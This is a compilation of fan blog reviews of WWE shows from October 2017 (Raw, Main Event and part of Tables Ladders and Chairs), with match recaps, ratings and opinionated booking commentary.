Monday Night Raw – October 30, 2017: No. Moving On.

Monday Night Raw
Date: October 30, 2017
Location: Royal Farms Arena, Baltimore, Maryland
Commentators: Michael Cole, Corey Graves, Booker T.

It’s time for the fallout show as we’re less than three weeks away from Survivor Series and Raw is reeling from Smackdown’s invasion last week. The interesting part is whether or not Smackdown will be back this week as it’s time to get ready for the real battle. Hopefully it’s as entertaining as last week. Let’s get to it.

We open with a long recap of last week’s invasion.

Opening sequence.

Kurt Angle is in the ring and the Raw roster is on the stage. Last week was taking friendly competition too far and that was a slap in the face of the people who work here every week. He put them in harm’s way and that will never happen again. Cue the returning Stephanie McMahon to talk about how Monday Night Raw will be celebrating twenty five years on January 22. The show is still going strong and that’s where she and Kurt come in. Angle has lead by example and has even earned her respect.

Stephanie pauses for the YOU STILL GOT IT but blames Angle for last week’s siege. It took twenty seconds to ruin Raw’s history and that’s all because of Angle falling for Shane’s lies. Stephanie goes on a rant about how Angle RUINED, yes RUINED, Raw’s legacy last week in one incompetent moment. Therefore, Angle better hope that he still has it because he’s going to be team captain at Survivor Series. If things don’t go the way she wants, he’s out as General Manager.

Post break Stephanie is leaving and Angle is very sorry. Stephanie mentions Mick Foley as another threat to Angle’s job. As Stephanie leaves, another limo comes up, containing the Miz. Angle isn’t happy with him being late so he’s defending the Intercontinental Title tonight. Miz wants to know who but Angle won’t tell him for being late. Of note: Bo Dallas was back.

Angle being all apologetic and scared here does nothing for him, but it certainly makes Stephanie look like the queen of the world. You know, BECAUSE WE HAVEN’T ESTABLISHED THAT ENOUGH IN THE LAST FIFTEEN YEARS!

Bayley vs. Alicia Fox

Fox comes out in an airline captain’s outfit (well, the female wrestling version) and says this is your captain speaking (eh kind of clever). She has business to tend to so we have a replacement.

Bayley vs. Nia Jax

Bayley charges right at her to start and basically bounces off of the monster, landing on the floor in a heap. Back with Nia holding a chinlock, followed by a pair of running splashes in the corner. What looked to be a Vader Bomb is broken up and Nia is dumped to the floor. Bayley dives off the apron with some right hands, followed by a kick to the face for two. We hit a guillotine choke but Nia shrugs it off without much effort. A spear and the legdrop end Bayley at 7:24.

Rating: D+. You know all those times that Nia has defeated Bayley before? This is the most recent one. The match was yet another destruction of Bayley, who will be the exact same character next week. That’s one of the biggest reasons characters from NXT don’t work in WWE: there’s no development. Bayley had that crisis of confidence over the summer, came back, changed nothing, and is right back where she was months ago. That’s poor writing and a lack of storytelling, which is why Bayley (along with so many others) isn’t interesting anymore.

Alicia picks Nia to be on the Raw team. Nia goes to leave but Samoa Joe of all people is back. Post break, Joe says he knows some people here missed him but he didn’t miss a single one of them. Therefore, when he’s beating the heck out of someone, he’ll be imagining it’s all of the people.

Samoa Joe vs. Apollo Crews

Joe wastes no time in chopping Crews in the corner and it’s not looking good early on. Crews fights back with a good looking dropkick and some right hands in the corner but Joe isn’t about to be suplexed. A kick in the corner drops Crews and Joe throws his gum at Titus O’Neil. Crews scores with an enziguri but the Toss Powerbomb is countered with a headlock takeover. The Rock Bottom out of the corner plants Crews and it’s the Koquina Clutch for the tap out at 3:39.

Rating: D. Samoa Joe gave Brock Lesnar all he could handle on pay per view but he broke a sweat against Crews on Raw? Joe is one of the best monsters on Raw and for some reason they won’t have him squash a jobber to the stars. This was WAY more competitive than it needed to be and it’s not like this company has much credibility when it comes to making new stars at the moment (but they can push Kane of course).

Post match Joe chokes Titus out as well.

Intercontinental Title: The Miz vs. Matt Hardy

Matt is challenging and wastes no time in trying a small package for two. A backslide gets the same and these early pinfall attempts are working at making Miz sweat a bit. Miz bails to the floor and we take a break. Back with Matt getting crotched on top and a neckbreaker out of the corner getting two. You can tell Miz is working here as his hair is hanging off the side of his head.

Miz puts him on the apron and gets two off a kick to the head. Back in and Miz hits the corner clothesline but the top rope ax handle is blocked. Instead Miz crotches himself in the corner to put both guys down. Matt gets two off a bulldog and drops his middle rope elbow to the back of the neck.

A regular middle rope elbow (that’s a new one) gets two, followed by the Side Effect for the same. Matt scores with a moonsault of all things for two more but Miz is right back with the YES Kicks. A Twist of Fate out of nowhere plants Miz but he rolls to the apron. Back up and Miz snaps him throat first across the ropes, setting up the Skull Crushing Finale to retain at 13:02.

Rating: B. This was much better than I was expecting and a lot of that is because of Matt knowing how to make you buy into his near falls. There’s no reason to really believe that Matt is going to end Miz’s long title reign here but they pulled off a good match. I’m not sure who is taking the title from Miz, but he’s less than two months away from the second most combined days as champion of all time so it’s not happening anytime soon. More than likely at least.

We recap the opening sequence, making sure to show how amazing Stephanie is, just in case you forgot in the last 40 minutes.

Alexa Bliss comes in to see Angle and mocks the idea of Mickie James being a serious contender. Angle isn’t cool with that and makes Bliss vs. James for the title in the main event.

Asuka vs. Stacie Cullen

A spinning backfist drops Cullen and it’s time for some hard knees to the face. Asuka kicks her in the head and the Asuka Lock is good for the submission at 1:42.

Angle grabs a walkie talkie and says the invasion is happening again. It turns out to just be Daniel Bryan and we take a break. Back with Angle yelling at Bryan for wanting to be here to finish the job. Bryan says no but Angle threatens to have the Raw roster destroy him right now. Angle promises to come to Smackdown and even things up.

Recap of Brock Lesnar answering Jinder Mahal’s challenge and Mahal’s response.

Bryan is still in Angle’s office for no apparent reason and sums up what happened in a phone call. The lights go out and we take a break. Back with Bryan in the dark ranting about the door being locked. He says something is wrong and Kane shows up to chokeslam him through a table (off camera of course).

Finn Balor vs. Cesaro

Balor takes him into the corner to start and shouts BAR. That’s still a stupid name so Balor headlocks him down instead. A tilt-a-whirl backbreaker gets Cesaro out of trouble though and he uppercuts Finn into the corner. Balor sends him outside though and the running apron kick to the face drops Cesaro. Sheamus gets in a cheap shot though and we take a break.

Back with Cesaro hitting the pop up uppercut for two, followed by the apron superplex (that never gets old) for the same. We hit the Sharpshooter for a bit with Balor easily powering out. That means a Sling Blade into the corner dropkick, followed by Balor hitting a good looking running flip dive onto both guys. A top rope double stomp to the back gives Balor the pin at 11:28.

Rating: B-. At least Balor got something back after that pretty ridiculous loss to Kane last week. Hopefully he gets a nice run at the pay per view as he still needs to shake off the Bray Wyatt feud. Cesaro losing in a singles match doesn’t mean much as he’s not likely to be getting a singles push anytime soon.

Post match Kane comes out and Tombstones Balor on the stage. HE’S KANE! DOES ANYONE THINK HE NEEDS TO BE BUILT UP TO FACE STROWMAN? And at the expense of Finn Balor? Good grief is there anyone else you want to put Kane over?

Seth Rollins vs. Kane

I WAS KIDDING!!! Cesaro and Sheamus are still at ringside along with Ambrose. Rollins just looks better in the Shield gear. Seth’s early shots have little effect so he scores with some dropkicks through the ropes. The suicide dive is broken up though and Kane runs him over with a clothesline. Rollins hammers away in the corner and kicks at the knee, only to get dropped with an uppercut. You can’t say Kane’s offense is complicated yet it still works well. The side slam gives Kane two and we hit a chinlock.

Back up and an enziguri gets Seth out of trouble and the Blockbuster (still love that move) gets two. A suicide dive is blocked though and Rollins is down in a heap. Back in and Seth’s springboard….I think clothesline is shrugged off as Sheamus and Cesaro are stomping on Ambrose. Another springboard is countered into a chokeslam for the pin on Rolling at 5:42.

Rating: D+. The problem here is obvious: pushing Kane is fine but the idea of having Kane go over Rollins and Balor in back to back weeks for the sake of setting up Kane vs. Strowman is nonsense. Kane is one of the biggest stars ever and is a monster by definition. That’s not something which requires a lot of effort but for some reason we’re sacrificing far more valuable wrestlers for the sake of pushing the guy.

Post match Dean hits Dirty Deeds on Kane but Sheamus and Cesaro come in to help beat him down. Ambrose and Rollins both get Tombstoned, making it THREE former World Champions Kane has decimated in the span of ten minutes. Oh and one thing missing when the Shield was being beaten down: anyone chanting for Reigns to make the save. Isn’t that interesting?

We look at the opening sequence. Again.

Bryan is being stretchered out.

Miz and the Miztourage are ready to celebrate and go into their locker room. They find a bag of trash, which Miz interprets as Braun Strowman coming back. Terror ensues.

Post break Miz runs into Braun and asks him for help with Strowman. Kane says he’s on his own.

Recap of Strowman being destroyed at TLC.

Heath Slater/Rhyno vs. Karl Anderson/Luke Gallows

This is a Trick or Street Fight, meaning the ring is surrounded by Halloween decorations. For costumes, we have Santa and Mrs. Claus vs. Chad 2 Bad/Tex Ferguson (from Southpaw Regional Wrestling) respectively. Slater is sent into a bucket of apples to start so Rhyno makes a save and puts pumpkins on their heads. Heath finds some candy corn kendo sticks but it takes too long to set up a table.

Anderson and Gallows beat Slater down, including shoving pumpkin filling in Slater’s face. Karl crotches himself on a skeleton though just go with it) and there’s a pie to the face. Slater makes the save with the kendo sticks but gets beaten down again. Anderson puts a pumpkin on his own head and Gallows does the same, blinding himself in the process. It takes too long though and Rhyno gets off a table, setting up a spinebuster to put Anderson through said table for the pin at 4:50.

Rating: F. No. Moving on.

Cesaro and Sheamus tell Miz that Strowman couldn’t possibly be back yet. They’re no team though. So is this supposed to be WWE’s version of a horror story? Just because it’s October? It was more effective when Reigns attempted to murder Strowman and it’s not exactly spooky, especially when Strowman is likely back this week or next. On a related note, is Kane getting this kind of a push because he’s a monster and it’s the Halloween season? If so, that’s rather dumb even by WWE’s limited standards.

Elias, with a new guitar, is in the ring for a song. He sings the Ballad of Jason Jordan, complete with shots of Jordan being hit with a guitar last week. Jordan comes out to clean house and breaks Elias’ new guitar.

Miz and the Miztourage go to leave but Angle cuts them off, saying they’re staying or else.

Here are Enzo Amore and Drew Gulak to mock Angle again. Kalisto isn’t getting the title back you see and Gulak is ready to help prove that. Gulak says Kalisto is S-O-F-T, which doesn’t sit well with Enzo.

Kalisto vs. Drew Gulak

Drew jumps him to start but charges into a boot in the corner. Kalisto’s middle rope corkscrew dive and the handspring enziguri sets up the hurricanrana driver. The springboard Salida Del Sol ends Gulak at 59 seconds.

Post match Enzo lays Kalisto out.

Miz is trying to find a way out.

Women’s Title: Alexa Bliss vs. Mickie James

James is challenging and scores early with a running kick to the chest. The hurricanrana out of the corner has Bliss reeling and a dropkick puts her outside. Back from a break with Bliss working on a neck crank before switching to a chinlock (totally different you see). Something like an STO gets two and Bliss stands on Mickie’s hair for good measure.

That’s enough to fire Mickie up but Bliss slams her off the top to take over again. An enziguri off the top lets Mickie score with the Thesz press for two. Some rollups are good for some two counts but Bliss punches her in the face for the pin to retain at 11:25. Seriously it was just a right hand.

Rating: D. Well that happened. This was a lot of chinlocking and not much else, which doesn’t make for a strong main event. I was hoping for something like Charlotte vs. Sasha Banks here but instead I got little more than a bad women’s match. James isn’t the most interesting challenger and losing to a right hand is about as low as you can go.

Miz and the Miztourage go to leave and, after cutting back to Bliss celebrating, get in the car, where of course there is a camera waiting. They pull off and are immediately stopped by a waiting garbage truck. Braun comes out of the garbage as we keep cutting to Miz and company in the vein of a bad horror movie.

Strowman poses (in clean clothes despite BEING IN A GARBAGE TRUCK FOR EIGHT DAYS) and chases them out of the limo. They head into the arena, where Bliss is still posing, where Strowman throws Dallas onto the stage. The Miztourage save Miz from going through the table so Strowman takes them to the ring for FIVE running powerslams. Axel goes through the announcers’ table to end the show.

Overall Rating: D-. This is a show where two good matches were powerless to save the show. I’m not even sure where to begin, but we’ll start with Stephanie. Yeah I know it’s her character and we know that’s what she does but come on: the legacy of Raw is destroyed? That’s what we’re taking out of last week’s show?

The same show that had Buzz Aldrin, Florence Henderson and that cowboy whose name I can’t remember as “guest stars”? The same show that had a Rosie O’Donnell vs. Donald Trump minis match? The same show that had Jim Ross’ unconscious head the against the back of Vince’s underwear before Vince, in a cowboy hat, skipped around the ring with his pants around his ankles? NONE OF THAT compares to last week? That’s what we’re supposed to buy as a top story?

Ignoring the Halloween street fight (On the night BEFORE the show THAT ACTUALLY AIRS ON FREAKING HALLOWEEN!), there’s the whole booking the show like a horror movie. Strowman looked like Michael Myers and Kane (who was originally based on Myers) it beating World Champions into the ground. The more I think about it, the more I think they really are pushing monsters like this for the sake of the season of the year, which is as dumb as you can get. Maybe Kane was supposed to be Wyatt, but I can’t imagine Wyatt getting this kind of a push no matter how much more sense it would have made.

On top of that, as of now, we’re not even getting the match that the finishing segment seems to be setting up. Based on what we saw, Strowman should be going after Miz and the Intercontinental Title. What are we getting instead? Strowman vs. Kane and Miz vs. Corbin. After Survivor Series, do you think Strowman is going to go after the title? Of course not, because he’ll want revenge or something like that. That’s fine once in awhile, but when is the last time you remember a feud being after the title? Let them build that thing up once in a while instead of always going for the personal stuff.

The problem here comes down to one simple thing: Kane and Stephanie McMahon came out as the dominant forces on this show. We have two weeks to go before Survivor Series and at the moment, we know one member of the Raw team. In theory people like Kane, Balor and Strowman will be included (it’s not like there are many other options) but none of this has focused on the pay per view.

All we hear about is how it’s Raw vs. Smackdown and champion vs. champion but that’s not enough. The titles aren’t on the line and I need a lot more than bragging rights to draw my interest. There’s nothing going on for this show and, other than Kane and Stephanie (and Strowman, to a lesser degree), there’s no reason to care about most of what’s coming up. Aside from the raid, all we have to go on is some graphics and a one off raid. Things could change, but this show was a disaster that turned me off on the pay per view.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

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Main Event – October 26, 2017: Dash Wilder Will Be Relieved

Main Event
Date: October 26, 2017
Location: Resch Center, Green Bay, Wisconsin
Commentators: Vic Joseph, Nigel McGuinness

It’s not a good sign when I can barely remember this week’s Monday Night Raw on Friday night. The big stories were the Smackdown invasion and Brock Lesnar returning to answer Jinder Mahal’s challenge. It’s hard to guess what we might get for original content though as there could be almost any combination of the undercard. Let’s get to it.

We actually change things up a bit by looking at a recap of Sunday’s main event. That’s certainly a new one.

Opening sequence.

Matt Hardy vs. Curt Hawkins

Hawkins takes him into the corner to start but is quickly armdragged down into a headscissors. That’s reversed into a chinlock though as they’re certainly moving here. Curt’s Russian legsweep gets two but Matt comes right back and sends him into the buckle over and over. The middle rope elbow to the back looks to set up the Side Effect but Curt grabs a Michinoku Driver for two. Not that it matters as Matt grabs the Twist of Fate for the pin at 5:09.

Rating: D+. Nothing to see here but above all else it’s nice to have ANYTHING other than Dash Wilder losing over and over. Hopefully that means the return of the Revival in the near future. Anyway, there’s not much else you can say about Matt Hardy beating Curt Hawkins to give Curt his 120th loss in a row. Pretty much what you would expect.

From Raw for the first time.

Here are Paul Heyman and Brock Lesnar to respond to Jinder Mahal. Paul finds it interesting that someone has an issue finding Lesnar as the undisputed champion of WWE. There is someone who thinks that they can match up to Brock and that makes little sense to Heyman. We live in an age of trash talk but Heyman didn’t talk trash about Goldberg, Samoa Joe or Braun Strowman. Instead he praised all of them because they deserved it. Then there’s the joke of a champion like Jinder Mahal.

When we think of a champion, we think of Bruno Sammartino, Hulk Hogan, Randy Savage, Bret Hart, Shawn Michaels, John Cena and BROCK LESNAR. This isn’t about Lesnar wanting to wave the Raw flag. This is about Smackdown thinking that it wasn’t treated fairly in the Superstar Shakeup. Whichever show has Brock Lesnar is the undisputed top show and at Survivor Series, Jinder is going to Suplex City. The challenge is accepted and Brock looks angry.

And again.

Finn Balor vs. Kane

Balor gets chased to the floor to start and comes back in where Kane hammers him down in the corner. A big boot cuts off a comeback attempt but Balor slugs him out to the floor anyway. Back in and the running corner clothesline sets up the side slam for two as this has been mostly Kane. A backbreaker keeps Finn in trouble and it’s another trip to the floor for more punishment. They head back inside where Balor hits a quick Sling Blade, followed by the shotgun dropkick. Balor loads up the Coup de Grace but Kane chokeslams him off the top. Two more chokeslams give Kane the clean pin at 8:50.

Rating: D-. Stupid, dumb, idiotic, short sighted, moronic, FREAKING RIDICULOUS and any other adjectives you care to name here. The idea is to build Kane up for a match with Strowman and there’s nothing wrong with that. What there IS something wrong with is using Balor to help build that up when he’s FINN FREAKING BALOR. You have him go over Styles on Sunday and lose to Kane clean on Monday? This is one of the dumbest decisions I’ve seen in a long time and that’s not a good sign going into one of biggest shows of the year.

Apollo Crews/Titus O’Neil vs. Luke Gallows/Karl Anderson

Gallows punches Titus into the corner to start but Titus chops the heck out of both of them. Apollo comes in for some kicks and the ring is cleared as we take a break. Back with Gallows kicking Titus in the face. The Magic Killer is good for the pin on Titus at 6:20. Well over half of that was in the break and it felt like something was clipped when we came back.

In the likely reason for the short second match, here’s the last thing from Raw.

Here’s Angle to announce the Raw men’s team but Shane comes out of the crowd, flanked by almost the entire Smackdown roster. Shane says Raw is under siege and Angle bails to the ramp. The Smackdown roster is told to go get them so they march to the back. First up is Titus Worldwide, who are beaten down in short order. The Raw women run away and it’s time to beat up some jobbers.

They head into the locker room to beat on Jason Jordan and Matt Hardy before heading into another room. More people are beaten up in another room and now it’s the women fighting each other. Rollins and Ambrose come in with chairs but are beaten down without too much effort. Baron Corbin and Rusev capture Angle and make him watch the beating before taking him back into the arena where Shane is waiting. Shane says they’ll finish this at Survivor Series. I liked this a lot more than I thought I would as they made it feel like an invasion for a change and it could go somewhere for a change.

Overall Rating: C-. This one all comes down to how you liked the ending as the wrestling here was nothing to see. The second match didn’t even need to be on the show and felt like filler instead of anything of value. The show wasn’t terrible and summed up everything you needed to know from Raw but that’s all there is to say here.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Monday Night Raw – October 23, 2017: Steven Seagal Couldn’t Have Done It Better

Monday Night Raw
Date: October 23, 2017
Location: Resch Center, Green Bay, Wisconsin
Commentators: Michael Cole, Booker T., Corey Graves

It’s the night after Tables Ladders and Chairs and the big question now is how many wrestlers are still under the weather. At the moment, Bo Dallas, Roman Reigns and Bray Wyatt are all missing in action and there’s no word on when they’ll be back. It should be interesting to see how things shake out as we head towards Survivor Series. Let’s get to it.

First off, Happy Birthday wife.

We open with a long recap of last night’s main event, with the garbage truck stuff being left out. I’ve heard people say that it was one of the worst matches ever but it’s not even the worst WWE pay per view main event this year.

Here’s Kurt Angle to open the show and you know what chants he’s going to get. Now it’s time to talk about Survivor Series though, with various matches already being set. It’s going to be champion vs. champion with:

Alexa Bliss vs. Natalya

Miz vs. Baron Corbin

Dean Ambrose/Seth Rollins vs. Usos

Brock Lesnar vs. Jinder Mahal

In addition to these matches, there will be a men’s and a women’s elimination match with participants to be named later. Cue the Miz and the Bar to cut Angle off with Miz saying that Angle has overstepped his boundaries. Last night was too far and tonight, it’s time to pay. Angle goes to leave but everyone surrounds the ring. Cue Seth Rollins/Dean Ambrose for the save and everyone bails. Angle isn’t done though and makes a match right now, including a guest star who stuck around after last night.

Seth Rollins/Dean Ambrose/AJ Styles vs. The Miz/The Bar

Rollins stomps Sheamus down in the corner to start and it’s Dean dropping some elbows for two. Ambrose comes in and gets slammed by Cesaro, only to have Seth hit a running kick to the chest to take over. It’s off to AJ with a ROAR and some forearms have Cesaro in trouble. The villains are sent to the floor for a triple dive and we take a break.

Back with Ambrose in an armbar from Sheamus before it’s off to Cesaro for a chinlock. Dean reverses a suplex into one of his own and the hot tag brings in Seth. A Falcon Arrow takes Cesro down but Miz grabs a heck of a DDT for two on Rollins. Back from a second break with Miz firing off the YES Kicks to Seth’s chest.

The big one is countered into a rollup and Miz bails to the floor where Ambrose knocks him over the barricade. Back in and it’s the hot tag to AJ as everything breaks down. Rollins breaks up a rollup for two and it’s the stereo dives to Miz and Sheamus. The Phenomenal Forearm ends Cesaro at 19:56.

Rating: B. Nice long match here and having AJ around is a good idea. The fans love him and are going to cheer anything he does, which makes him as smart of an attraction as you can have. Of course that’s not going to be enough to put him over the likes of Jinder Mahal but why do that when you can have Jinder keep the title another five and a half months?

Post match Kane comes out and helps destroy the winners. Back from a break with Kane in the ring and another highlight package from last night’s main event. Kane says he’s heard stories about Braun Strowman destroying Roman Reigns and surviving attacks in an ambulance. He liked what he heard but needed to see it for himself. When he saw it in person though, all he saw was trash. That’s why he put Strowman in the back of a garbage truck and liked hearing the gears grinding away. Kane will always be Raw’s resident monster and now he wants competition. That means an open challenge and we have an answer.

Finn Balor vs. Kane

Angle is in his office when Shane McMahon comes in for some friendly banter about the battle of the brands at Survivor Series. Things are smoothed over without too many issues though.

Asuka vs. Emma

Rematch from last night. An early cross armbreaker has Emma in trouble (just like last night) and the hip attack sends her out to the floor. Emma sends her shoulder first into the post but has to fight out of the Asuka Lock. Asuka gets in a missile dropkick, followed by some strikes to the head. Another hip attack gets two as the fans are trying to stay into this one. Back up and Emma tries a rollup, only to be reversed into the Asuka Lock for the tap at 5:13.

Rating: D+. Well it was shorter than last night but it’s basically the same match: Emma beats her down for most of the match but gets hip attacked and taps out for the finish. This makes Emma look like an overachiever and Asuka more like a person already melting under the spotlight. What a great way to bring her up people. Not with a squash or anything like that, but rather going move for move (and often worse) with one of the lowest rated women in the division. Nicely done WWE and a great way to mess up what should have been easy.

Here’s Alexa Bliss and she’s not in a good mood. She dispatched the leader of the old folks home last night in the performance of her career but it didn’t get the reaction she deserved. Then Finn Balor and AJ Styles stood in the ring and stared at each other for ten minutes so the fans thought it was awesome. Therefore, she’s going to say a chant and the sheep here are going to repeat it back to her. The chant is YOU DESERVE IT but here’s Mickie James to cut her off instead. A MickieDT onto the title leaves Bliss laying and Mickie says that Bliss does deserve it.

Bayley and Sasha Banks are in Kurt’s office where he says that they should be the captain of the women’s Survivor Series team. Alicia Fox comes in and wants to play Rock Paper Scissors for the captain spot. Angle thinks a triple threat might be better.

Here’s Elias to complain about what happened last night. After an insult to Aaron Rodgers and the Green Bay Packers, it’s time for a live musical performance. Elias starts insulting the crowd but the microphone keeps cutting out. He threatens to go beat up the sound technician but here’s Jason Jordan to cut him off.

Jason Jordan vs. Elias

Rematch from last night and we’re joined in progress with Jordan taking a big elbow drop for two. A double kick to the chest sets up a chinlock to keep Jordan in trouble. The first suplex drops Elias though and Jordan takes him outside for three straight drives into the corner. Not that it matters as Elias comes back with a guitar shot for the DQ at 3:20.

Rating: D+. So that happened and is likely happening again in the near future. Jordan vs. Elias isn’t all that interesting but at least they have something for Jordan to do. He’s not floundering in the role so far and a big win over Elias should help him, though the Angle son thing is still doing nothing for him.

Jordan leaves with a heck of a welt on his arm.

Kalisto is invoking his rematch clause tomorrow night on 205 Live. Tonight though is about family. Cedric Alexander, Rich Swann, Mustafa Ali and Gran Metalik come in and we hit the LUCHA dance.

Bayley vs. Sasha Banks vs. Alicia Fox

The winner is the captain at Survivor Series. Everyone goes at it to start with Fox hitting the northern lights suplex for two on Bayley, followed by the same thing to Sasha. A double dropkick puts Fox on the floor and it’s time for the staredown. Fox gets knocked of the apron and a double dropkick does it again.

Back from a break with Fox holding Banks in a chinlock. That goes nowhere so Fox takes her to the top for a superplex, only to get pulled down into the Tower of Doom with Bayley getting the least of it. A big boot gives Fox two on Bayley so Fox shouts that she doesn’t want to play. She heads outside and rings the bell, only to walk into the Bayley to Belly for two. Bayley fights Banks off and walks into a Bayley to Belly from Fox, only to get caught in the Bank Statement. That’s broken up as well so Fox throws them into each other and pins Bayley at 11:18.

Rating: D+. Fox winning is more interesting and it’s not like these two aren’t going to be on the team anyway. It wouldn’t have hurt them to let Banks take the fall for a change though as neither of them are exactly lighting the world on fire at the moment. This division has become such a mess and it’s not showing any signs of improving anytime soon.

Lucha Lucha vs. The Zo Train

Kalisto, Rich Swann, Cedric Alexander, Mustafa Ali, Gran Metalik

Enzo Amore, Tony Nese, Drew Gulak, Noam Dar, Ariya Daivari

One fall to a finish. So it turns out that Enzo can’t talk so Gulak ready his prepared statement, albeit with better grammar. The villains spell out S-A-W-F-T with Enzo nearly coughing the T. Kalisto wants to start with Enzo but has to kick Daivari in the face instead. Metalik comes in and flips away from Nese before doing his rope walk into a dropkick. The lucha guys clear the ring and a quadruple superkick puts Gulak on the floor as we take a break.

Back with Dar working on Swann’s arm until it’s off to Daivari. A double crossbody puts both of them down and everyone else starts brawling on the floor. Daivari gets kicked into the corner and tags Enzo, who gets kicked down by Enzo. The DDG gets two on Kalisto as Swann makes the save. Double dives take down some villains, followed by stereo moonsaults to the floor. Kalisto grabs the Salida Del Sol to end Enzo at 9:05.

Rating: C. The dives were fun but this match really isn’t doing anything to help the fact that most of these people aren’t interesting in the slightest. So many of them feel like they’re just a person who happens to be in the match, which doesn’t exactly make me want to watch most of them. Kalisto vs. Enzo isn’t an exciting match but it’s what we’re stuck with for now. Hopefully it wraps up tomorrow night.

Overall Rating: C. The wrestling and the booking left something to be desired but the storytelling was good. Survivor Series is being built up in a hurry and I want to see where some of the stories go. The Raw vs. Smackdown stuff has potential but they have a few weeks left to maintain that momentum. Having some big names missing didn’t help things but there’s more than enough time to bring them back in. Not a bad show this week, though much more of a stepping stone than anything else.

Results

AJ Styles/Dean Ambrose/Seth Rollins b. The Miz/The Bar – Phenomenal Forearm to Cesaro

Kane b. Finn Balor – Chokeslam

Asuka b. Emma – Asuka Lock

Jason Jordan b. Elias via DQ when Elias used a guitar

Alicia Fox b. Bayley and Sasha Banks – Whip into Fox

Lucha Lucha b. The Zo Train – Salida Del Sol to Amore

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Tables Ladders and Chairs 2017: When a Disease is a Better Booker Than Creative

Tables Ladders and Chairs 2017
Date: October 22, 2017
Location: Target Center, Minneapolis, Minnesota
Commentators: Michael Cole, Corey Graves, Booker T.

Now this one has my attention as the card has almost been thrown out the window due to a string of medical issues. AJ Styles is replacing Bray Wyatt to face Finn Balor, but in a bigger story it’s Kurt Angle’s first WWE match in over eleven years as he replaces Roman Reigns in the show’s namesake match. Let’s get to it.

Kickoff Show: Alicia Fox vs. Sasha Banks

Rematch from Raw. Fox bails to the floor to start before taking her down and grabbing a way too early chinlock. Sasha fights up and knocks Alicia outside and we take a break without much having happened so far. Back with Fox messing with Banks’ hair and shoving her off the top in a heap. Alicia pulls at her hair a bit and it’s mostly one sided so far. Back in and Fox slams Sasha right back to the floor but there’s no immediate count. Fox to the fans: “EVERYBODY HELP THE REFEREE DO HIS JOB!”

A backbreaker gives Fox two and Booker compares her to the Missing Link of all people. Sasha kicks her to the floor without much effort and a headscissors takes Fox down back inside. Another backbreaker has Banks in trouble but only for two, meaning Fox screeches a lot. Not that it matters as the ax kick misses and it’s the Bank Statement makes Fox tap at 10:12.

Rating: D+. So we had a short match on Monday and now a longer match tonight. I still have no reason to believe that Fox is in Banks’ league and it’s kind of a waste of time to make this work at all. Fox isn’t going to beat Banks anytime in a competitive match but the fans went nuts for Sasha’s entrance, which is the point here.

The opening video looks at all of the changes to the card with a focus on Angle, as you would probably expect. The rest of the card gets a shorter look.

Emma vs. Asuka

Asuka is making her main roster debut and the fans are VERY excited for her entrance. An early cross armbreaker has Emma in early trouble and the hip attack puts her down again. Asuka can’t get the ankle lock and Emma kicks her down for two, meaning it’s time for the confidence to start. A hard shot to the back gives Emma two more and the fans are all behind Asuka.

Emma slaps on a seated full nelson but makes the mistake of slapping her in the face. That earns Emma a sliding knee to the face, only to have Emma hit a sliding kick of her own for two. It’s time for the pain though as Asuka snaps off a German suplex, only to have Emma head outside and pull Asuka outside by the hair. Not that it really matters as Asuka kicks her in the head and slaps on the Asuka Lock for the tap out at 9:21.

Rating: B-. That’s the most obvious ending of the whole match and there’s nothing wrong with that. Asuka was a killer here and, despite Emma getting in more offense than I was expecting, she looks like someone who is going to be a star for a long time. Now if only I could believe that WWE won’t manage to screw her up.

Miz gives the Bar a pep talk until Strowman comes in to yell at them. Kane comes in as well and promises to turn the main event into a nightmare.

Here’s Elias to talk about how awesome he is and play a little song. As he’s playing though, vegetables are thrown into the ring by….Jason Jordan. This goes nowhere and is as fillerish as you can get.

Jack Gallagher/Brian Kendrick vs. Cedric Alexander/Rich Swann

Kendrick has turned Gallagher evil and they targeted Alexander. Swann came in to help out his buddy. Cedric and Gallagher start things off but it’s already off to Swann to speed things up (not the worst idea when you need a shot of adrenaline) with his flips. Jack is sent outside where he trips Cedric, only to be taken down by a Swann flip dive from the apron. Cedric isn’t about to be outdone and hits a flip dive of his own over the top.

Back in and Kendrick cravates Swann to slow things down and Rich is sent head first into the buckle. Swann escapes a belly to back and brings Cedric in off the hot tag. Cedric cleans house, including a spinning kick to Gallagher’s head. Kendrick takes him outside and scores with a northern lights suplex, to put Cedric in trouble. Back in and the Captain’s Hook is broken up as Swann drops a Phoenix splash. The Lumbar Check ends Kendrick at 7:57.

Rating: C+. It was fun, but this was something you could see on almost any given episode of 205 Live. They flipped around and did their thing for about eight minutes but that doesn’t make it anything too fancy. The story is standard and that’s really all there is to say about it. It’s not going to help 205 Live that much but these guys deserve a little spotlight.

Alexa Bliss thinks Mickie James is only mad at her over the age jokes, but the truth is that Bliss idolized Mickie growing up. Mickie has gone toe to toe with Hall of Famers, but after tonight the good old days will just be old.

Women’s Title: Alexa Bliss vs. Mickie James

James is challenging and headlocks Bliss to start, much to the champ’s annoyance. Bliss pulls the hair to escape a few times before snapping Mickie’s arm across the top rope. That means it’s time to rip at the arm and slap on an armbar for good measure. You can feel Bliss’ confidence here, which is exactly how this story should go. A near fall only frustrates Bliss more and Mickie fights out of the corner with a good looking hurricanrana.

They slap it out until a forearm from Bliss and a high kick from Mickie connect at the same time. It’s Mickie getting the better of it and hitting some running forearms. Bliss goes to the arm again but Mickie slugs her down and nips up. Mickie gets crotches on top but Twisted Bliss only hits mat. A bad looking missile dropkick gives Mickie two but Bliss seems to be hurt. Mickie goes for it of course and gets pulled shoulder first into the corner. Bliss adds the DDT to retain at 11:30.

